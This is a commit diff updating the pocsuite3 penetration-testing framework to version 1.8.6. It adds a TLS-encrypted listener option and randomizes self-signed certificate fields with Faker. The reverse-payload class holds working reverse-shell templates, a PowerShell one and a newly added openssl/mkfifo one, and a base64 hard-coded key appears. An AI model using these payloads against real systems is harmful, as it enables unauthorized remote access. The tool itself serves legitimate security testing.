Commit 37a2f2a6 authored by Nong Hoang Tu's avatar Nong Hoang Tu
Browse files

Update upstream source from tag 'upstream/1.8.6'

Update to upstream version '1.8.6'
with Debian dir adc3dedd39c9454e63d69030bc678b3e51bbb9c9
parents fa571009 183756fb
......@@ -267,3 +267,8 @@ Cross-platform shell code generation
-----------------
* support bind shell in shell mode
* fix #221
# version 1.8.6
-----------------
* support encrypted shell (TLS) in shell mode
* fix #228
......@@ -213,6 +213,8 @@ bind shell 的实现位于 `./pocsuite3/modules/listener/bind_tcp.py`,原理
`bind_telnet_shell`:对 telnet 服务的原生支持,在 shell 模式中 `return bind_telnet_shell(ip, port, username, password)`
***1.8.6*** 版本开始,pocsuite3 支持加密的 shell。PoC 中使用 openssl 的反弹命令(也可以用代码反弹),并且在运行时指定 `--tls` 选项。
7. 结果返回
不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard)
......
......@@ -31,7 +31,7 @@ is maintained at:
.I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md
.PP
.SH VERSION
This manual page documents pocsuite version 1.8.5
This manual page documents pocsuite version 1.8.6
.SH AUTHOR
.br
(c) 2014-2021 by Knownsec 404 Team
......
......@@ -161,6 +161,9 @@ Connect back host for target PoC in shell mode
\fB\-\-lport\fR CONNECT_BACK_PORT
Connect back port for target PoC in shell mode
.TP
\fB\-\-tls\fR
Enable TLS listener in shell mode
.TP
\fB\-\-comparison\fR
Compare popular web search engines
.TP
......@@ -250,7 +253,7 @@ is maintained at:
.I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md
.PP
.SH VERSION
This manual page documents pocsuite version 1.8.5
This manual page documents pocsuite version 1.8.6
.SH AUTHOR
.br
(c) 2014-2021 by Knownsec 404 Team
......
__title__ = 'pocsuite'
__version__ = '1.8.5'
__version__ = '1.8.6'
__author__ = 'Knownsec Security Team'
__author_email__ = 's1@seebug.org'
__license__ = 'GPL 2.0'
......
......@@ -43,6 +43,12 @@ from pocsuite3.lib.core.settings import UNICODE_ENCODING
from pocsuite3.lib.core.settings import URL_ADDRESS_REGEX
try:
collectionsAbc = collections.abc
except AttributeError:
collectionsAbc = collections
def read_binary(filename):
content = ''
with open(filename, 'rb') as f:
......@@ -997,7 +1003,7 @@ def get_host_ipv6(dst='2001:db8::'):
return s.getsockname()[0]
class OrderedSet(collections.OrderedDict, collections.MutableSet):
class OrderedSet(collections.OrderedDict, collectionsAbc.MutableSet):
def add(self, e):
self[e] = None
......
......@@ -564,6 +564,7 @@ def _set_conf_attributes():
conf.rule_req = False
conf.rule_filename = None
conf.show_options = False
conf.enable_tls_listener = False
def _set_kb_attributes(flush_all=True):
......
......@@ -9,13 +9,22 @@ from pocsuite3.lib.core.revision import get_revision_number
VERSION = __version__
REVISION = get_revision_number()
SITE = "http://pocsuite.org"
VERSION_STRING = "pocsuite/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d",
time.gmtime(
os.path.getctime(
__file__.replace(
'.pyc',
'.py') if __file__.endswith(
'pyc') else __file__))))
VERSION_STRING = "pocsuite/%s%s" % (
VERSION,
"-%s" % REVISION
if REVISION
else "-nongit-%s"
% time.strftime(
"%Y%m%d",
time.gmtime(
os.path.getctime(
__file__.replace(".pyc", ".py")
if __file__.endswith("pyc")
else __file__
)
),
),
)
IS_WIN = True if (sys.platform in ["win32", "cygwin"] or os.name == "nt") else False
PLATFORM = os.name
......@@ -26,22 +35,32 @@ GIT_REPOSITORY = "https://github.com/knownsec/pocsuite3.git"
GIT_PAGE = "https://github.com/knownsec/pocsuite3"
ZIPBALL_PAGE = "https://github.com/knownsec/pocsuite3/zipball/master"
LEGAL_DISCLAIMER = "Usage of pocsuite for attacking targets without prior mutual consent is illegal."
LEGAL_DISCLAIMER = (
"Usage of pocsuite for attacking targets without prior mutual consent is illegal."
)
BANNER = """\033[01;33m
,------. ,--. ,--. ,----. \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m
""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE)
| .--. ',---. ,---.,---.,--.,--`--,-' '-.,---.'.-. |
| '--' | .-. | .--( .-'| || ,--'-. .-| .-. : .' <
| | --'' '-' \ `--.-' `' '' | | | | \ --/'-' |
`--' `---' `---`----' `----'`--' `--' `----`----' \033[0m\033[4;37m%s\033[0m
""" % (
(31 + hash(REVISION) % 6) if REVISION else 30,
VERSION_STRING.split("/")[-1],
SITE,
)
# Encoding used for Unicode data
UNICODE_ENCODING = "utf-8"
DEFAULT_USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36"
BOLD_PATTERNS = ("' is vulnerable", "success", "\d ",)
BOLD_PATTERNS = (
"' is vulnerable",
"success",
"\d ",
)
OLD_VERSION_CHARACTER = ("from comm import cmdline", "from comm import generic")
POCSUITE_VERSION_CHARACTER = ("from pocsuite.poc import", "from pocsuite.net import")
......@@ -67,12 +86,16 @@ IP_ADDRESS_WITH_PORT_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5
IPV6_ADDRESS_REGEX = r"^\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\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}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?"
LOCAL_IP_ADDRESS_REGEX = r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)"
URL_DOMAIN_REGEX = (
r"(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,3})(?:/[\w&%?#-]{1,300})?(?:\:\d+)?"
)
LOCAL_IP_ADDRESS_REGEX = (
r"(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^192\.168\.)"
)
POC_REQUIRES_REGEX = r"install_requires\s*=\s*\[(?P<result>.*?)\]"
POC_NAME_REGEX = r'''(?sm)POCBase\):.*?name\s*=\s*['"](?P<result>.*?)['"]'''
POC_NAME_REGEX = r"""(?sm)POCBase\):.*?name\s*=\s*['"](?P<result>.*?)['"]"""
MAX_NUMBER_OF_THREADS = 20
......@@ -81,17 +104,69 @@ DEFAULT_LISTENER_PORT = 6666
# Maximum number of lines to save in history file
MAX_HISTORY_LENGTH = 1000
IMG_EXT = ('.jpg', '.png', '.gif')
IMG_EXT = (".jpg", ".png", ".gif")
TIMESTAMP = time.strftime('%Y%m%d%H%M%S', time.gmtime())
TIMESTAMP = time.strftime("%Y%m%d%H%M%S", time.gmtime())
OS_SYSTEM = system().upper()
OS_ARCH = machine()
# Cmd line parse whitelist
CMD_PARSE_WHITELIST = ['version', 'update', 'url', 'file', 'verify', 'attack', 'shell', 'cookie', 'host', 'referer',
'user-agent', 'random-agent', 'proxy', 'proxy-cred', 'timeout', 'retry', 'delay', 'headers',
'login-user', 'login-pass', 'dork', 'dork-shodan', 'dork-censys', 'dork-zoomeye', 'dork-fofa','dork-quake',
'max-page', 'search-type', 'shodan-token', 'fofa-user', 'fofa-token', 'quake-token','vul-keyword', 'ssv-id',
'lhost', 'lport', 'plugins', 'pocs-path', 'threads', 'batch', 'requires', 'quiet', 'poc',
'verbose', 'mode', 'api', 'connect_back_host', 'connect_back_port', 'ppt', 'help', 'pcap',
'rule','rule-req','rule-filename','dork-b64', 'options']
CMD_PARSE_WHITELIST = [
"version",
"update",
"url",
"file",
"verify",
"attack",
"shell",
"cookie",
"host",
"referer",
"user-agent",
"random-agent",
"proxy",
"proxy-cred",
"timeout",
"retry",
"delay",
"headers",
"login-user",
"login-pass",
"dork",
"dork-shodan",
"dork-censys",
"dork-zoomeye",
"dork-fofa",
"dork-quake",
"max-page",
"search-type",
"shodan-token",
"fofa-user",
"fofa-token",
"quake-token",
"vul-keyword",
"ssv-id",
"lhost",
"lport",
"plugins",
"pocs-path",
"threads",
"batch",
"requires",
"quiet",
"poc",
"verbose",
"mode",
"api",
"connect_back_host",
"connect_back_port",
"ppt",
"help",
"pcap",
"rule",
"rule-req",
"rule-filename",
"dork-b64",
"options",
"tls",
]
......@@ -64,7 +64,7 @@ def cmd_line_parser(argv=None):
request.add_argument("--delay", dest="delay", help="Delay between two request of one thread")
request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"key1: value1\\nkey2: value2\")")
# Account options
group = parser.add_argument_group("Account", "Telnet404ShodanCEyeFofa account options")
group = parser.add_argument_group("Account", "Telnet404, Shodan, CEye, Fofa account options")
group.add_argument("--login-user", dest="login_user", help="Telnet404 login user")
group.add_argument("--login-pass", dest="login_pass", help="Telnet404 login password")
group.add_argument("--shodan-token", dest="shodan_token", help="Shodan token")
......@@ -74,7 +74,7 @@ def cmd_line_parser(argv=None):
group.add_argument("--censys-uid", dest="censys_uid", help="Censys uid")
group.add_argument("--censys-secret", dest="censys_secret", help="Censys secret")
# Modules options
modules = parser.add_argument_group("Modules", "Modules(SeebugZoomeyeCEyeFofaQuake Listener) options")
modules = parser.add_argument_group("Modules", "Modules(Seebug, Zoomeye, CEye, Fofa, Quake, Listener) options")
modules.add_argument("--dork", dest="dork", action="store", default=None,
help="Zoomeye dork used for search.")
modules.add_argument("--dork-zoomeye", dest="dork_zoomeye", action="store", default=None,
......@@ -99,6 +99,8 @@ def cmd_line_parser(argv=None):
help="Connect back host for target PoC in shell mode")
modules.add_argument("--lport", dest="connect_back_port", action="store", default=None,
help="Connect back port for target PoC in shell mode")
modules.add_argument("--tls", dest="enable_tls_listener", action="store_true", default=False,
help="Enable TLS listener in shell mode")
modules.add_argument("--comparison", dest="comparison", help="Compare popular web search engines",
action="store_true",
default=False)
......@@ -133,7 +135,7 @@ def cmd_line_parser(argv=None):
# Diy options
diy = parser.add_argument_group("Poc options", "definition options for PoC")
diy.add_argument("--options", dest="show_options", action="store_true", default=False,
help="Show all definition options")
help="Show all definition options")
for line in argv:
if line.startswith("--"):
......
......@@ -4,6 +4,7 @@ import binascii
import os
import string
import random
from faker import Faker
from socket import gethostbyname
from urllib.parse import urlparse
from pocsuite3.lib.core.data import logger, paths
......@@ -150,39 +151,47 @@ def generate_shellcode_list(listener_ip, listener_port, os_target=OS.WINDOWS, os
return cmd
def gen_cert(emailAddress="s1@seebug.org",
commonName="Cyberspace",
countryName="CN",
localityName="Cyberspace",
stateOrProvinceName="Cyberspace",
organizationName="Seebug",
organizationUnitName="pocsuite.org",
def gen_cert(countryName='',
stateOrProvinceName='',
localityName='',
organizationName='',
organizationUnitName='',
commonName='',
emailAddress='',
serialNumber=0,
validityStartInSeconds=0,
validityEndInSeconds=10*365*24*60*60,
validityEndInSeconds=0,
filepath="cacert.pem"):
# openssl library dependencies is too heavy, so we move it to extras_require
try:
from OpenSSL import crypto
fake = Faker()
domain_name = fake.domain_name()
yr = 24 * 3600 * 365
vf = -1 * random.randint(0, yr * 3) - yr
vt = vf + random.randint(5, 9) * yr
# create a key pair
k = crypto.PKey()
k.generate_key(crypto.TYPE_RSA, 4096)
k.generate_key(crypto.TYPE_RSA, 2048)
# create a self-signed cert
cert = crypto.X509()
cert.get_subject().C = countryName
cert.get_subject().ST = stateOrProvinceName
cert.get_subject().L = localityName
cert.get_subject().O = organizationName
cert.get_subject().OU = organizationUnitName
cert.get_subject().CN = commonName
cert.get_subject().emailAddress = emailAddress
cert.get_subject().C = countryName or 'US'
cert.get_subject().ST = stateOrProvinceName or fake.state_abbr()
cert.get_subject().L = localityName or fake.city()
cert.get_subject().O = organizationName or fake.company()
cert.get_subject().OU = organizationUnitName or fake.bs().split()[-1]
cert.get_subject().CN = commonName or domain_name
cert.get_subject().emailAddress = emailAddress or fake.email().split('@')[0] + '@' + domain_name
serialNumber = serialNumber or (random.randint(0, 0xffffffff - 1) << 32) + random.randint(0, 0xffffffff - 1)
cert.set_serial_number(serialNumber)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(validityEndInSeconds)
cert.gmtime_adj_notBefore(validityStartInSeconds or vf)
cert.gmtime_adj_notAfter(validityEndInSeconds or vt)
cert.set_issuer(cert.get_subject())
cert.set_version(2)
cert.set_pubkey(k)
cert.sign(k, 'sha512')
cert.sign(k, 'sha256')
logger.info("Successfully generated a self-signed certificate")
with open(filepath, "wb+") as fw:
fw.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
fw.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))
......@@ -190,116 +199,60 @@ def gen_cert(emailAddress="s1@seebug.org",
logger.warning('pyOpenSSL not installed, use hard-code certificate instead')
# base64 encoding to avoid cert leak warning
hard_coded_cert_base64 = (
b'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZtakNDQTRJQ0FRQXdEUVlK'
b'S29aSWh2Y05BUUVOQlFBd2daSXhDekFKQmdOVkJBWVRBa05PTVJNd0VRWUQKVlFR'
b'SURBcERlV0psY25Od1lXTmxNUk13RVFZRFZRUUhEQXBEZVdKbGNuTndZV05sTVE4'
b'd0RRWURWUVFLREFaVApaV1ZpZFdjeEZUQVRCZ05WQkFzTURIQnZZM04xYVhSbExt'
b'OXlaekVUTUJFR0ExVUVBd3dLUTNsaVpYSnpjR0ZqClpURWNNQm9HQ1NxR1NJYjNE'
b'UUVKQVJZTmN6RkFjMlZsWW5WbkxtOXlaekFlRncweU1UQTNNamN3T0RFNU5EUmEK'
b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'SmxCU290c1Z2VGJHTjJzRGRkVTIzN2t0cHpQZ3FmSXZlbUFuZDBseApkU0N1L3UxdUJ3S0JnUURP'
b'WVh6NldhSHB3Vjd4UUUrNWo5YUFSU3VISmVXMDhYU0trLzUxZXBIOTAzamx4Z3hQCnh6bUdvaDJC'
b'a2l6VU5lRnh3YmdrK2xWT2lhU0t5emdrQ2lQL0NSa2RhSlhFcEtaQlVYd3QzNzVodnlxTzQxYzkK'
b'clZQVUZrbXRiNmFjUHJVRm95SE5lUUQ3OHFkbmxxSzNDejAySEhnQng2cWswSStQdWVNdmZSK1pj'
b'UUtCZ0M3SQpJQUZtQ1FubXRURldoUTFQYzh1YnpwUlNmdE1oQmQzZmZCdHRtSGVOckdpYVdWd0Qy'
b'V2FKdElvakpJTDJmeWsyCkE3S0FzbVB0b3B3SXFTUzBtS2ZzbWoweGJ1a08vQWpVRE94a1gyTWZy'
b'dExxUGlWZkd5em9rMVA1VmhPdndPTlUKVDVlbFNYNVRIOVNpTU1jWUFBK2ttSDZOWEJ0R0UySTBk'
b'UWJtZWRFMUFvR0JBS2xkMnlHTll2eDZMc1F1czlOWgpjVlZNWHFLbFVKY1pSTVY5aGdTdTQ3alZI'
b'ZnlMMVFRcTFnaG1rU0NpeGVZWXJLSW4xU09ubERsK2VwYTQ3SmxqClhhd3ZNRFREWmxRRGxwS05v'
b'dEgzbThLQUZ0VUVvQ2dzTm5zM3ZoOERDSXFJUEJEMDRndkV3R3pLYnNhQUM1WGIKUFprd1o0TlFK'
b'RWlDTnRyMUR6Qmg0ZktuCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K'
)
hard_coded_cert = base64.b64decode(hard_coded_cert_base64)
with open(filepath, "wb+") as fw:
......
......@@ -92,8 +92,7 @@ class PHTTPServer(threading.Thread, metaclass=PHTTPSingleton):
def __init__(self, bind_ip='0.0.0.0', bind_port=666, is_ipv6=False, use_https=False,
certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem'),
requestHandler=BaseRequestHandler):
if not os.path.exists(certfile):
gen_cert(filepath=certfile)
gen_cert(filepath=certfile)
threading.Thread.__init__(self)
self.bind_ip = bind_ip
self.bind_port = int(bind_port)
......
......@@ -2,9 +2,10 @@ import select
import socket
import threading
import time
import os
from pocsuite3.lib.utils import gen_cert
from pocsuite3.lib.core.common import data_to_stdout, has_poll, get_unicode, desensitization
from pocsuite3.lib.core.data import conf, kb, logger
from pocsuite3.lib.core.data import conf, kb, logger, paths
from pocsuite3.lib.core.datatype import AttribDict
from pocsuite3.lib.core.enums import AUTOCOMPLETE_TYPE, OS, CUSTOM_LOGGING
from pocsuite3.lib.core.exception import PocsuiteShellQuitException
......@@ -27,6 +28,15 @@ def get_sock_listener(listen_port, listen_host="0.0.0.0", ipv6=False, protocol=N
s = socket.socket(socket.AF_INET, protocol)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
msg = ''
if conf.enable_tls_listener and protocol == socket.SOCK_STREAM:
import ssl
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
cert_path = os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem')
gen_cert(filepath=cert_path)
context.load_cert_chain(cert_path)
s = context.wrap_socket(s, server_side=True)
msg = 'TLS '
try:
s.bind((listen_host, listen_port))
except socket.error:
......@@ -36,7 +46,7 @@ def get_sock_listener(listen_port, listen_host="0.0.0.0", ipv6=False, protocol=N
return None
if protocol == socket.SOCK_STREAM:
msg = "listening on {0}:{1}".format(listen_host, listen_port)
msg += "listening on {0}:{1}".format(listen_host, listen_port)
logger.log(CUSTOM_LOGGING.SYSINFO, msg)
s.listen(5)
return s
......@@ -313,7 +323,7 @@ class REVERSE_PAYLOAD:
p.waitFor()
"""
POWERSHELL = """$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"""
OPENSSL = """rm -rf /tmp/s;mkfifo /tmp/s;/bin/sh -i </tmp/s 2>&1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;rm -rf /tmp/s"""
if __name__ == "__main__":
......
......@@ -9,3 +9,4 @@ prettytable >= 0.7.2
colorlog >= 4.7.2
scapy >= 2.4.4
pyOpenSSL >= 20.0.0
Faker >= 0.7.7
......@@ -14,7 +14,7 @@ except ImportError:
setup(